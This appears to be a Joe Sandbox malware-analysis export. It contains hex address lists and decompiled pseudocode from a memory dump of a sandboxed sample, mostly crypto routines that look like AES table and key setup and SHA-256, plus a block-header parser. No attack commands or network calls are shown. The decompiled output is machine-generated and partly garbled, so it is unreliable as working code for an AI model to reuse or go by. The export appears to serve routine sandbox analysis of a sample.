0x013b3283
0x013b32a0
0x013b32a0
0x013b32a3
0x013b3285
0x013b328f
0x013b3292
0x013b3292
0x013b32a7
0x013b32ac
0x013b32ae
0x013b332b
0x013b332b
0x013b3392
0x013b3394
0x00000000
0x013b32b0
0x013b32b0
0x013b32b0
0x013b32b1
0x013b32b7
0x00000000
0x00000000
0x013b32bd
0x013b32c1
0x013b32c2
0x013b32c4
0x00000000
0x00000000
0x00000000
0x013b32c6
0x00000000
0x013b32b0
0x013b32ae
0x013b326f
0x013b3273
0x00000000
0x013b3273
0x013b321e
0x013b3221
0x013b3221
0x013b3223
0x00000000
0x00000000
0x013b3225
0x013b3226
0x013b3229
0x013b322c
0x00000000
0x00000000
0x00000000
0x013b322e
0x013b3230
0x00000000
0x013b3230
0x013b31e8
0x013b31eb
0x013b31f5
0x013b31fd
0x013b3202
0x013b3205
0x00000000
0x013b3205
0x013b31b8
0x013b31ba
0x00000000
0x00000000
0x013b31be
0x013b31c3
0x013b31c5
0x00000000
0x00000000
0x00000000
0x013b3308
0x013b3308
0x013b3308
0x013b3314
0x013b3314
0x013b331b
0x013b331f
0x013b332f
0x013b332f
0x013b333a
0x013b333f
0x013b3340
0x013b3343
0x013b3348
0x013b3352
0x013b335a
0x013b335b
0x013b3360
0x013b336a
0x013b3372
0x013b3373
0x013b3378
0x013b3380
0x013b3388
0x013b338b
0x013b3390
0x00000000
0x013b3390
0x013b3323
0x013b3329
0x00000000
0x00000000
0x00000000
0x013b3329
0x013b3116
0x013b3118
0x00000000
0x00000000
0x013b311a
0x013b311f
0x013b3121
0x00000000
0x00000000
0x00000000
0x013b3121
0x00000000

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00179462e72e715994715ee1dba655cee4073e68508d321703d4c828cdcba7bf
Instruction ID: bd241d521acd1e56833b78ca8c5b921879454f64712034d2881b8d22dd3efac5
Opcode Fuzzy Hash: 00179462e72e715994715ee1dba655cee4073e68508d321703d4c828cdcba7bf
Instruction Fuzzy Hash: 4E713B717043565BDB25EE2CC8C4BEE77D5FB9030CF04492DEB8A8BA82EA349585C752

Uniqueness

Uniqueness Score: -1.00%

Function 013AD222 Relevance: .2, Instructions: 190
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E013AD222() {
				intOrPtr _v8;
				char _v521;
				char _t140;
				signed int _t154;
				signed int _t155;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t179;
				signed int _t181;
				signed char _t192;
				signed int _t199;
				signed int _t207;
				void* _t208;
				signed int _t209;
				signed char _t211;
				signed int _t219;
				void* _t220;

				_t140 = 0;
				_t179 = 1;
				_t207 = 1;
				do {
					 *(_t220 + _t140 - 0x304) = _t207;
					 *(_t220 + _t140 - 0x205) = _t207;
					 *((char*)(_t220 + _t207 - 0x104)) = _t140;
					_v8 = _t140 + 1;
					asm("sbb ecx, ecx");
					_t140 = _v8;
					_t207 = _t207 ^  ~(_t207 & 0x80) & 0x0000011b ^ _t207 + _t207;
				} while (_t207 != 1);
				_t208 = 0;
				do {
					 *(_t208 + 0x13dee38) = _t179;
					asm("sbb ecx, ecx");
					_t179 = _t179 + _t179 ^  ~(_t179 & 0x80) & 0x0000011b;
					_t208 = _t208 + 1;
				} while (_t208 < 0x1e);
				_t181 = 0;
				do {
					if(_t181 == 0) {
						_t209 = 0;
					} else {
						_t209 =  *( &_v521 - ( *(_t220 + (_t181 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
					}
					_t192 = (_t209 ^ (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209) + (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209) ^ 0x00006300) >> 0x00000008 ^ _t209 ^ (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209) + (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209);
					 *(_t181 + 0x13dec38) = _t192;
					 *(0x13dfa59 + _t181 * 4) = _t192;
					 *(0x13dfa58 + _t181 * 4) = _t192;
					 *(0x13df65b + _t181 * 4) = _t192;
					 *(0x13df658 + _t181 * 4) = _t192;
					 *(0x13df25b + _t181 * 4) = _t192;
					 *(0x13df25a + _t181 * 4) = _t192;
					 *(0x13dee5a + _t181 * 4) = _t192;
					 *(0x13dee59 + _t181 * 4) = _t192;
					if(_t192 == 0) {
						_t154 = 0;
					} else {
						_t154 =  *(_t220 + ( *(_t220 + (_t192 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
					}
					 *(0x13dfa5b + _t181 * 4) = _t154;
					 *(0x13df65a + _t181 * 4) = _t154;
					 *(0x13df259 + _t181 * 4) = _t154;
					 *(0x13dee58 + _t181 * 4) = _t154;
					if(_t192 == 0) {
						_t155 = 0;
					} else {
						_t155 =  *(_t220 + ( *(_t220 + (_t192 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
					}
					_t219 = _t181 & 0x000000ff;
					 *(0x13dfa5a + _t181 * 4) = _t155;
					 *(0x13df659 + _t181 * 4) = _t155;
					 *(0x13df258 + _t181 * 4) = _t155;
					 *(0x13dee5b + _t181 * 4) = _t155;
					if((((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) >> 0x00000008 ^ ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219)) == 5) {
						_t211 = 0;
					} else {
						_t211 =  *((intOrPtr*)( &_v521 - ( *(_t220 + (((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) >> 0x00000008 & 0x000000ff ^ ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
					}
					 *(_t181 + 0x13ded38) = _t211;
					if(_t211 == 0) {
						_t159 = 0;
					} else {
						_t159 =  *(_t220 + ( *(_t220 + (_t211 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
					}
					_t199 = _t211 & 0x000000ff;
					 *(0x13e0a5a + _t181 * 4) = _t159;
					 *(0x13e0659 + _t181 * 4) = _t159;
					 *(0x13e0258 + _t181 * 4) = _t159;
					 *(0x13dfe5b + _t181 * 4) = _t159;
					 *(0x13e1a5a + _t199 * 4) = _t159;
					 *(0x13e1659 + _t199 * 4) = _t159;
					 *(0x13e1258 + _t199 * 4) = _t159;
					 *(0x13e0e5b + _t199 * 4) = _t159;
					if(_t211 == 0) {
						_t160 = 0;
					} else {
						_t160 =  *(_t220 + ( *(_t220 + _t199 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
					}
					 *(0x13e0a58 + _t181 * 4) = _t160;
					 *(0x13e065b + _t181 * 4) = _t160;
					 *(0x13e025a + _t181 * 4) = _t160;
					 *(0x13dfe59 + _t181 * 4) = _t160;
					 *(0x13e1a58 + _t199 * 4) = _t160;
					 *(0x13e165b + _t199 * 4) = _t160;
					 *(0x13e125a + _t199 * 4) = _t160;
					 *(0x13e0e59 + _t199 * 4) = _t160;
					if(_t211 == 0) {
						_t161 = 0;
					} else {
						_t161 =  *(_t220 + ( *(_t220 + _t199 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
					}
					 *(0x13e0a59 + _t181 * 4) = _t161;
					 *(0x13e0658 + _t181 * 4) = _t161;
					 *(0x13e025b + _t181 * 4) = _t161;
					 *(0x13dfe5a + _t181 * 4) = _t161;
					 *(0x13e1a59 + _t199 * 4) = _t161;
					 *(0x13e1658 + _t199 * 4) = _t161;
					 *(0x13e125b + _t199 * 4) = _t161;
					 *(0x13e0e5a + _t199 * 4) = _t161;
					if(_t211 == 0) {
						_t162 = 0;
					} else {
						_t162 =  *(_t220 + ( *(_t220 + _t199 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
					}
					 *(0x13e0a5b + _t181 * 4) = _t162;
					 *(0x13e065a + _t181 * 4) = _t162;
					 *(0x13e0259 + _t181 * 4) = _t162;
					 *(0x13dfe58 + _t181 * 4) = _t162;
					_t181 = _t181 + 1;
					 *(0x13e1a5b + _t199 * 4) = _t162;
					 *(0x13e165a + _t199 * 4) = _t162;
					 *(0x13e1259 + _t199 * 4) = _t162;
					 *(0x13e0e58 + _t199 * 4) = _t162;
				} while (_t181 < 0x100);
				return _t162;
			}

0x013ad22b
0x013ad230
0x013ad232
0x013ad239
0x013ad239
0x013ad240
0x013ad247
0x013ad24f
0x013ad25e
0x013ad264
0x013ad267
0x013ad269
0x013ad26d
0x013ad26f
0x013ad271
0x013ad27e
0x013ad284
0x013ad286
0x013ad287
0x013ad28c
0x013ad28e
0x013ad290
0x013ad2aa
0x013ad292
0x013ad2a5
0x013ad2a5
0x013ad2c8
0x013ad2ca
0x013ad2d0
0x013ad2d7
0x013ad2de
0x013ad2e5
0x013ad2ec
0x013ad2f3
0x013ad2fa
0x013ad301
0x013ad30a
0x013ad321
0x013ad30c
0x013ad317
0x013ad317
0x013ad323
0x013ad32a
0x013ad331
0x013ad338
0x013ad341
0x013ad358
0x013ad343
0x013ad34e
0x013ad34e
0x013ad35a
0x013ad35f
0x013ad36b
0x013ad377
0x013ad380
0x013ad390
0x013ad3c4
0x013ad392
0x013ad3c0
0x013ad3c0
0x013ad3c6
0x013ad3ce
0x013ad3e5
0x013ad3d0
0x013ad3db
0x013ad3db
0x013ad3e7
0x013ad3ea
0x013ad3f1
0x013ad3f8
0x013ad3ff
0x013ad406
0x013ad40d
0x013ad414
0x013ad41b
0x013ad424
0x013ad438
0x013ad426
0x013ad42e
0x013ad42e
0x013ad43a
0x013ad441
0x013ad448
0x013ad44f
0x013ad456
0x013ad45d
0x013ad464
0x013ad46b
0x013ad474
0x013ad488
0x013ad476
0x013ad47e
0x013ad47e
0x013ad48a
0x013ad491
0x013ad498
0x013ad49f
0x013ad4a6
0x013ad4ad
0x013ad4b4
0x013ad4bb
0x013ad4c4
0x013ad4d8
0x013ad4c6
0x013ad4ce
0x013ad4ce
0x013ad4da
0x013ad4e1
0x013ad4e8
0x013ad4ef
0x013ad4f6
0x013ad4f7
0x013ad4fe
0x013ad505
0x013ad50c
0x013ad513
0x013ad524

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9b6afc89ed76d2172402d8248451e4b6729adac039d207695c3dda76f40e526
Instruction ID: f4ec3c9f2efce5ecda53725fbe6be8a26e6e058ee4777ac2dae82086fa41a5f1
Opcode Fuzzy Hash: a9b6afc89ed76d2172402d8248451e4b6729adac039d207695c3dda76f40e526
Instruction Fuzzy Hash: AC81B19221A2D49DDB3A4EBD34E02F53FE89773301F5C44AAD4C58A6DBC0368659DB22

Uniqueness

Uniqueness Score: -1.00%

Function 013ADC32 Relevance: .2, Instructions: 154
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013ADC32(intOrPtr __ecx, signed char _a4) {
				char _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				char _v28;
				signed int _v29;
				signed int _v30;
				signed int _v31;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed char _t96;
				signed int _t117;
				signed int* _t121;
				signed int* _t122;
				void* _t124;
				signed int _t125;
				signed int _t126;
				signed int _t127;
				void* _t129;
				void* _t130;
				signed int _t131;
				char* _t132;
				void* _t133;
				signed int _t135;
				intOrPtr _t137;
				signed char* _t139;
				void* _t141;
				void* _t161;
				void* _t164;

				_t137 = __ecx;
				_t135 = _a4 - 6;
				_v40 = __ecx;
				_v36 = _t135;
				_t96 = E013BDFA0( &_v32, _a4, 0x20);
				_t141 =  &_v40 + 0xc;
				_t117 = 0;
				_t133 = 0;
				_t126 = 0;
				if(_t135 <= 0) {
					L10:
					if(_t117 <= _a4) {
						_t127 = 0x13dee38;
						do {
							_v32 = _v32 ^  *(( *(_t141 + 0x15 + _t135 * 4) & 0x000000ff) + 0x13dec38);
							_v31 = _v31 ^  *(( *(_t141 + 0x16 + _t135 * 4) & 0x000000ff) + 0x13dec38);
							_v30 = _v30 ^  *(( *(_t141 + 0x17 + _t135 * 4) & 0x000000ff) + 0x13dec38);
							_v29 = _v29 ^  *(( *(_t141 + 0x14 + _t135 * 4) & 0x000000ff) + 0x13dec38);
							_t96 =  *_t127;
							_v32 = _v32 ^ _t96;
							_v36 = _t127 + 1;
							if(_t135 == 8) {
								_t121 =  &_v28;
								_a4 = 3;
								do {
									_t129 = 4;
									do {
										 *_t121 =  *_t121 ^  *(_t121 - 4);
										_t121 =  &(_t121[0]);
										_t129 = _t129 - 1;
									} while (_t129 != 0);
									_t58 =  &_a4;
									 *_t58 = _a4 - 1;
								} while ( *_t58 != 0);
								_t122 =  &_v12;
								_a4 = 3;
								_v16 = _v16 ^  *((_v20 & 0x000000ff) + 0x13dec38);
								_v15 = _v15 ^  *((_v19 & 0x000000ff) + 0x13dec38);
								_v14 = _v14 ^  *((_v18 & 0x000000ff) + 0x13dec38);
								_v13 = _v13 ^  *((_v17 & 0x000000ff) + 0x13dec38);
								do {
									_t130 = 4;
									do {
										_t96 =  *((intOrPtr*)(_t122 - 4));
										 *_t122 =  *_t122 ^ _t96;
										_t122 =  &(_t122[0]);
										_t130 = _t130 - 1;
									} while (_t130 != 0);
									_t79 =  &_a4;
									 *_t79 = _a4 - 1;
								} while ( *_t79 != 0);
							} else {
								if(_t135 > 1) {
									_t132 =  &_v28;
									_a4 = _t135 - 1;
									do {
										_t124 = 0;
										do {
											_t96 =  *((intOrPtr*)(_t132 + _t124 - 4));
											 *(_t132 + _t124) =  *(_t132 + _t124) ^ _t96;
											_t124 = _t124 + 1;
										} while (_t124 < 4);
										_t132 = _t132 + 4;
										_t53 =  &_a4;
										 *_t53 = _a4 - 1;
									} while ( *_t53 != 0);
								}
							}
							_t131 = 0;
							if(_t135 <= 0) {
								L37:
								_t164 = _t117 - _a4;
							} else {
								while(_t117 <= _a4) {
									if(_t131 >= _t135) {
										L33:
										_t161 = _t133 - 4;
									} else {
										_t96 =  &(( &_v32)[_t131]);
										_a4 = _t96;
										while(_t133 < 4) {
											 *((intOrPtr*)(_t137 + 0x18 + (_t133 + _t117 * 4) * 4)) =  *_t96;
											_t131 = _t131 + 1;
											_t96 = _a4 + 4;
											_t133 = _t133 + 1;
											_a4 = _t96;
											if(_t131 < _t135) {
												continue;
											} else {
												goto L33;
											}
											goto L34;
										}
									}
									L34:
									if(_t161 == 0) {
										_t117 = _t117 + 1;
										_t133 = 0;
									}
									if(_t131 < _t135) {
										continue;
									} else {
										goto L37;
									}
									goto L38;
								}
							}
							L38:
							_t127 = _v36;
						} while (_t164 <= 0);
					}
				} else {
					while(_t117 <= _a4) {
						if(_t126 < _t135) {
							_t139 =  &(( &_v32)[_t126]);
							while(_t133 < 4) {
								_t125 = _t133 + _t117 * 4;
								_t96 =  *_t139;
								_t126 = _t126 + 1;
								_t139 =  &_a4;
								_t133 = _t133 + 1;
								 *(_v40 + 0x18 + _t125 * 4) = _t96;
								_t135 = _v36;
								if(_t126 < _t135) {
									continue;
								}
								break;
							}
							_t137 = _v40;
						}
						if(_t133 == 4) {
							_t117 = _t117 + 1;
							_t133 = 0;
						}
						if(_t126 < _t135) {
							continue;
						} else {
							goto L10;
						}
						goto L39;
					}
				}
				L39:
				return _t96;
			}

0x013adc38
0x013adc48
0x013adc4b
0x013adc50
0x013adc54
0x013adc59
0x013adc5c
0x013adc5e
0x013adc60
0x013adc64
0x013adcab
0x013adcae
0x013adcb4
0x013adcb9
0x013adcc8
0x013adcd7
0x013adce6
0x013adcf5
0x013adcf9
0x013adcfb
0x013add00
0x013add07
0x013add38
0x013add3c
0x013add44
0x013add46
0x013add47
0x013add4a
0x013add4c
0x013add4d
0x013add4d
0x013add52
0x013add52
0x013add52
0x013add5e
0x013add62
0x013add70
0x013add7f
0x013add8e
0x013add9d
0x013adda1
0x013adda3
0x013adda4
0x013adda4
0x013adda7
0x013adda9
0x013addaa
0x013addaa
0x013addaf
0x013addaf
0x013addaf
0x013add09
0x013add0c
0x013add15
0x013add19
0x013add1d
0x013add1d
0x013add1f
0x013add1f
0x013add23
0x013add26
0x013add27
0x013add2c
0x013add2f
0x013add2f
0x013add2f
0x013add36
0x013add0c
0x013addb6
0x013addba
0x013addfb
0x013addfb
0x00000000
0x013addbc
0x013addc3
0x013addef
0x013addef
0x013addc5
0x013addc9
0x013addcc
0x013addd0
0x013addda
0x013addde
0x013adde3
0x013adde6
0x013adde7
0x013added
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x013added
0x013addd0
0x013addf2
0x013addf2
0x013addf4
0x013addf5
0x013addf5
0x013addf9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x013addf9
0x013addbc
0x013addfe
0x013addfe
0x013addfe
0x013adcb9
0x00000000
0x013adc66
0x013adc71
0x013adc77
0x013adc7b
0x013adc84
0x013adc87
0x013adc8a
0x013adc8b
0x013adc8e
0x013adc8f
0x013adc93
0x013adc99
0x00000000
0x00000000
0x00000000
0x013adc99
0x013adc9b
0x013adc9b
0x013adca2
0x013adca4
0x013adca5
0x013adca5
0x013adca9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x013adca9
0x013adc66
0x013ade0f
0x013ade0f

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0be3762cd729cc1ad6c5501f3632bfe831fead4f7b2e5a1c71fa9927b768438a
Instruction ID: fffbee641ad5f5e5cc01e6afc08eb6dcf4e16db28b32bc744bd36f60f6107ff8
Opcode Fuzzy Hash: 0be3762cd729cc1ad6c5501f3632bfe831fead4f7b2e5a1c71fa9927b768438a
Instruction Fuzzy Hash: 7A51F3719083954ECB12CF69C1944AEBFF1EFDA218F89489DE4D54BA53C630D289CF92

Uniqueness

Uniqueness Score: -1.00%

Function 013AECE9 Relevance: .1, Instructions: 131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E013AECE9() {
				signed int _t85;
				signed int* _t86;
				unsigned int* _t87;
				void* _t88;
				unsigned int _t90;
				unsigned int _t113;
				signed int _t115;
				signed int* _t120;
				signed int _t121;
				signed int* _t122;
				signed int _t123;
				void* _t135;
				void* _t136;
				void* _t137;
				signed int _t138;
				void* _t140;

				_t120 =  *(_t140 + 0x130);
				_t123 = 0;
				_t86 =  &(_t120[0xa]);
				do {
					 *((intOrPtr*)(_t140 + 0x30 + _t123 * 4)) = E013C36C8( *_t86);
					_t86 =  &(_t86[1]);
					_t123 = _t123 + 1;
				} while (_t123 < 0x10);
				_t87 = _t140 + 0x68;
				_t137 = 0x30;
				do {
					_t90 =  *(_t87 - 0x34);
					_t113 =  *_t87;
					asm("rol esi, 0xe");
					_t87 =  &(_t87[1]);
					asm("ror eax, 0x7");
					asm("rol eax, 0xd");
					asm("rol ecx, 0xf");
					_t87[1] = (_t90 ^ _t90 ^ _t90 >> 0x00000003) + (_t113 ^ _t113 ^ _t113 >> 0x0000000a) +  *((intOrPtr*)(_t87 - 0x3c)) +  *((intOrPtr*)(_t87 - 0x18));
					_t137 = _t137 - 1;
				} while (_t137 != 0);
				_t88 = 0;
				_t138 = _t120[4];
				_t115 = _t120[5];
				 *(_t140 + 0x10) = _t120[1];
				 *(_t140 + 0x20) = _t120[3];
				 *(_t140 + 0x1c) =  *_t120;
				 *(_t140 + 0x18) = _t120[6];
				_t121 =  *(_t140 + 0x1c);
				 *(_t140 + 0x14) = _t120[2];
				 *(_t140 + 0x24) = _t120[7];
				while(1) {
					 *(_t140 + 0x28) = _t138;
					asm("ror esi, 0xb");
					asm("rol eax, 0x7");
					asm("ror eax, 0x6");
					 *(_t140 + 0x18) = _t115;
					_t33 = _t88 + 0x13d0708; // 0x0
					_t135 = (_t138 ^ _t138 ^ _t138) + ( !_t138 &  *(_t140 + 0x18) ^ _t115 & _t138) +  *_t33 +  *((intOrPtr*)(_t140 + _t88 + 0x2c));
					_t88 = _t88 + 4;
					_t136 = _t135 +  *(_t140 + 0x24);
					 *(_t140 + 0x24) =  *(_t140 + 0x18);
					_t138 =  *(_t140 + 0x20) + _t136;
					asm("ror edx, 0xd");
					asm("rol eax, 0xa");
					asm("ror eax, 0x2");
					_t85 =  *(_t140 + 0x10);
					 *(_t140 + 0x10) = _t121;
					 *(_t140 + 0x20) =  *(_t140 + 0x14);
					 *(_t140 + 0x14) = _t85;
					_t121 = (_t121 ^ _t121 ^ _t121) + (( *(_t140 + 0x14) ^  *(_t140 + 0x10)) & _t121 ^  *(_t140 + 0x14) &  *(_t140 + 0x10)) + _t136;
					if(_t88 >= 0x100) {
						break;
					}
					_t115 =  *(_t140 + 0x28);
				}
				 *(_t140 + 0x1c) = _t121;
				_t122 =  *(_t140 + 0x130);
				 *_t122 =  *_t122 +  *(_t140 + 0x1c);
				_t122[1] = _t122[1] +  *(_t140 + 0x10);
				_t122[2] = _t122[2] + _t85;
				_t122[3] = _t122[3] +  *(_t140 + 0x20);
				_t122[5] = _t122[5] +  *(_t140 + 0x28);
				_t122[6] = _t122[6] +  *(_t140 + 0x18);
				_t122[4] = _t122[4] + _t138;
				_t122[7] = _t122[7] +  *(_t140 + 0x24);
				return _t85;
			}

0x013aecf3
0x013aecfa
0x013aecfc
0x013aecff
0x013aed06
0x013aed0a
0x013aed0d
0x013aed0f
0x013aed16
0x013aed1a
0x013aed1b
0x013aed1b
0x013aed20
0x013aed24
0x013aed27
0x013aed2a
0x013aed38
0x013aed3b
0x013aed4d
0x013aed50
0x013aed50
0x013aed58
0x013aed5c
0x013aed5f
0x013aed62
0x013aed69
0x013aed70
0x013aed77
0x013aed7e
0x013aed82
0x013aed86
0x013aed90
0x013aed92
0x013aed96
0x013aed9b
0x013aedaa
0x013aedbf
0x013aedc3
0x013aedcb
0x013aedcf
0x013aedd2
0x013aedd6
0x013aedda
0x013aeddc
0x013aede1
0x013aede8
0x013aedff
0x013aee05
0x013aee0d
0x013aee11
0x013aee15
0x013aee1e
0x00000000
0x00000000
0x013aed8c
0x013aed8c
0x013aee24
0x013aee28
0x013aee33
0x013aee39
0x013aee3e
0x013aee45
0x013aee4c
0x013aee53
0x013aee56
0x013aee5d
0x013aee6a

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df71c6e6129fd6d5870f1b2c9ca05372fdc32c1310e3d1863765f763878c1ed3
Instruction ID: 0716145e11540c26da724a375952f7e3fb00898e2adc8a41f6575355eebda631
Opcode Fuzzy Hash: df71c6e6129fd6d5870f1b2c9ca05372fdc32c1310e3d1863765f763878c1ed3
Instruction Fuzzy Hash: B0512671A083128FC748CF19D49059AF7E1FF88324F058A2EE899A7740DB34E959CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 013B2B39 Relevance: .1, Instructions: 112
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013B2B39(unsigned int __ecx) {
				intOrPtr _t39;
				signed int _t47;
				intOrPtr _t48;
				signed int _t55;
				signed int _t61;
				signed int _t66;
				intOrPtr _t78;
				signed int _t82;
				unsigned char _t84;
				signed int* _t86;
				intOrPtr _t87;
				unsigned int _t88;
				unsigned int _t89;
				signed int _t90;
				void* _t91;

				_t88 =  *(_t91 + 0x1c);
				_t61 = 0;
				_t86 =  *(_t91 + 0x24);
				_t89 = __ecx;
				 *(_t91 + 0x14) = __ecx;
				_t86[3] = 0;
				if( *((intOrPtr*)(_t88 + 8)) != 0 ||  *_t88 <=  *((intOrPtr*)(__ecx + 0x84)) - 7 || E013B3B38(__ecx) != 0) {
					E013AA4B5(_t88,  ~( *(_t88 + 4)) & 0x00000007);
					 *(_t91 + 0x14) = E013AA4CC(_t88) >> 8;
					E013AA4B5(_t88, 8);
					_t66 =  *(_t91 + 0x10) & 0x000000ff;
					_t39 = (_t66 >> 0x00000003 & 0x00000003) + 1;
					 *((intOrPtr*)(_t91 + 0x20)) = _t39;
					if(_t39 == 4) {
						goto L3;
					}
					_t86[3] = _t39 + 2;
					_t86[1] = (_t66 & 0x00000007) + 1;
					 *(_t91 + 0x1c) = E013AA4CC(_t88) >> 8;
					E013AA4B5(_t88, 8);
					if( *((intOrPtr*)(_t91 + 0x20)) <= _t61) {
						L9:
						_t84 =  *(_t91 + 0x10);
						 *_t86 = _t61;
						if((_t61 >> 0x00000010 ^ _t61 >> 0x00000008 ^ _t61 ^ _t84 ^ 0x0000005a) !=  *((intOrPtr*)(_t91 + 0x18))) {
							goto L3;
						}
						_t47 =  *_t88;
						_t86[2] = _t47;
						_t23 = _t47 - 1; // -1
						_t48 =  *((intOrPtr*)(_t89 + 0x88));
						_t78 = _t23 + _t61;
						if(_t48 >= _t78) {
							_t48 = _t78;
						}
						 *((intOrPtr*)(_t89 + 0x88)) = _t48;
						_t86[4] = _t84 >> 0x00000006 & 0x00000001;
						_t86[4] = _t84 >> 7;
						return 1;
					}
					_t87 =  *((intOrPtr*)(_t91 + 0x20));
					_t90 = _t61;
					do {
						_t55 = E013AA4CC(_t88) >> 8 << _t90;
						_t90 = _t90 + 8;
						_t61 = _t61 + _t55;
						_t82 =  *(_t88 + 4) + 8;
						 *_t88 =  *_t88 + (_t82 >> 3);
						 *(_t88 + 4) = _t82 & 0x00000007;
						_t87 = _t87 - 1;
					} while (_t87 != 0);
					_t86 =  *(_t91 + 0x24);
					_t89 =  *(_t91 + 0x14);
					goto L9;
				} else {
					L3:
					return 0;
				}
			}

0x013b2b3f
0x013b2b43
0x013b2b46
0x013b2b4a
0x013b2b4c
0x013b2b50
0x013b2b56
0x013b2b80
0x013b2b93
0x013b2b97
0x013b2ba0
0x013b2bab
0x013b2bac
0x013b2bb3
0x00000000
0x00000000
0x013b2bbc
0x013b2bbf
0x013b2bd0
0x013b2bd4
0x013b2bdd
0x013b2c18
0x013b2c18
0x013b2c28
0x013b2c35
0x00000000
0x00000000
0x013b2c3b
0x013b2c3d
0x013b2c40
0x013b2c43
0x013b2c49
0x013b2c4d
0x013b2c4f
0x013b2c4f
0x013b2c51
0x013b2c61
0x013b2c66
0x00000000
0x013b2c66
0x013b2bdf
0x013b2be3
0x013b2be5
0x013b2bf1
0x013b2bf3
0x013b2bf9
0x013b2bfb
0x013b2c06
0x013b2c08
